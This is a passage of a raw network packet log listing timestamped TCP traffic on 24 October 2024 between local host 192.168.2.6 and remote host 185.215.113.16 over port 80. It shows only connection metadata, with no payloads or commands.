Oct 24, 2024 18:09:22.620373011 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620409966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620445013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620479107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620496035 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620512962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620520115 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620565891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620615005 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620615005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620649099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620681047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620695114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620714903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620724916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620747089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620780945 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620799065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620811939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620847940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.620865107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.620903969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.621026039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.621054888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.621088028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.621104002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.621129036 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.621139050 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.621171951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.621187925 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.621208906 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.621212006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.621254921 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.645340919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.645391941 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.645431042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.645467043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.645529985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.645529985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.645529985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.645572901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.645601988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.645603895 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.645623922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.645658016 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.687643051 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.687694073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.687732935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.687871933 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.687872887 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.733304024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.733407021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.733422041 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.733593941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.733593941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.736593008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.736668110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.736757040 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.736772060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.736807108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.736831903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.736845016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.736860991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.736876011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.736898899 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.736898899 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.736905098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.736922026 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.736922979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.736939907 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.736955881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.736954927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.736955881 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.736972094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.736974955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.736994028 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737013102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737441063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737493992 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737543106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737559080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737591028 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737591028 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737600088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737617016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737632036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737647057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737652063 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737653017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737663031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737673998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737699032 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737699032 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737763882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737780094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737793922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737808943 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737809896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737828016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737837076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737837076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737844944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737857103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737860918 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737878084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737884045 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737884045 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737895966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737903118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737921000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737929106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737929106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737938881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737955093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737958908 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737978935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.737979889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737998962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.737998962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.738014936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.738030910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.738045931 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.738046885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.738046885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.738063097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.738073111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.738073111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.738091946 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.738110065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.738253117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.738297939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.738337994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.738353968 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.738382101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.738404036 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.738426924 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.738442898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.738470078 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.738502026 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.762104034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.762139082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.762172937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.762183905 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.762209892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.762213945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.762213945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.762267113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.762366056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.762415886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.762706995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.762758970 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.804306030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.804332018 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.804342031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.804486036 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.804579973 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.850061893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.850119114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.850152969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.850164890 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.850166082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.850254059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.853605032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.853672981 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.853775978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.853823900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.853825092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.853862047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.853876114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.853895903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.853909016 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.853931904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.853939056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.853965998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.853981018 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854005098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854018927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854039907 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854043961 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854085922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854094028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854126930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854145050 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854160070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854166985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854193926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854212046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854234934 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854245901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854279041 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854290962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854312897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854320049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854357004 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854362011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854407072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854414940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854446888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854454994 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854480028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854489088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854525089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854528904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854563951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854576111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854593039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854613066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854625940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854633093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854660988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854671001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854695082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854708910 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854727983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854732037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854760885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854773045 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854796886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854808092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854830027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854836941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854865074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854876995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854898930 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854909897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854939938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.854949951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854984045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.854999065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.855017900 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.855022907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.855056047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.855077982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.855088949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.855098963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.855123043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.855137110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.855156898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.855173111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.855190992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.855201960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.855230093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.855237007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.855277061 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.855962992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.856013060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.856018066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.856067896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.856066942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.856102943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.856117010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.856137991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.856153011 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.856182098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.879005909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.879070044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.879108906 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.879142046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.879178047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.879201889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.879201889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.879201889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.879201889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.879298925 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.920774937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.920830965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.920861959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.920912981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.920944929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.920979977 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.920980930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.920980930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.920980930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.920980930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.920980930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.921030045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.921072960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.921073914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.966633081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.966711044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.966768980 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.966800928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.966820955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.966835022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.966846943 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.966886044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.970371962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970434904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.970500946 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970535040 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970560074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.970568895 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970583916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.970602989 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970609903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.970653057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970657110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.970685959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970706940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.970733881 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.970736980 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970771074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970792055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.970813036 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.970820904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970854044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970869064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.970887899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970909119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.970921993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970938921 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.970972061 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.970977068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971004963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971029043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971051931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971055031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971090078 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971111059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971124887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971141100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971158028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971184015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971190929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971201897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971225977 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971246004 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971260071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971288919 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971292973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971307039 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.971345901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.971350908 CEST	49997	80	192.168.2.6	185.215.113.16
